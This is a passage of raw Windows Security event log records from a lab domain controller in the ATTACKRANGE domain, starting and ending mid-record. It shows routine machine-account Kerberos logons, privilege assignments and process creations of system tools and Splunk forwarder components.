AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x855AD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253960 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x855AD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62291 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253959 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x855AD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253965 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1138 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253964 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1138 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x110c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253963 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1110 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x110c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253962 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\cmd.exe /d /c C:\Windows\system32\silcollector.cmd configure - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253966 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253967 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1348 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253968 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x944 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253969 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253970 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x138c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253978 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x8DEE2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62296 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253977 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8DEE2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253976 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8DDC0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253975 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x8DDC0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62295 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253974 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8DDC0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253973 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x8DD66 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62294 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253972 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8DD66 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253971 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253979 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x294 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253982 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8E7C9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:53:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253981 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x8E7C9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62297 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:53:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253980 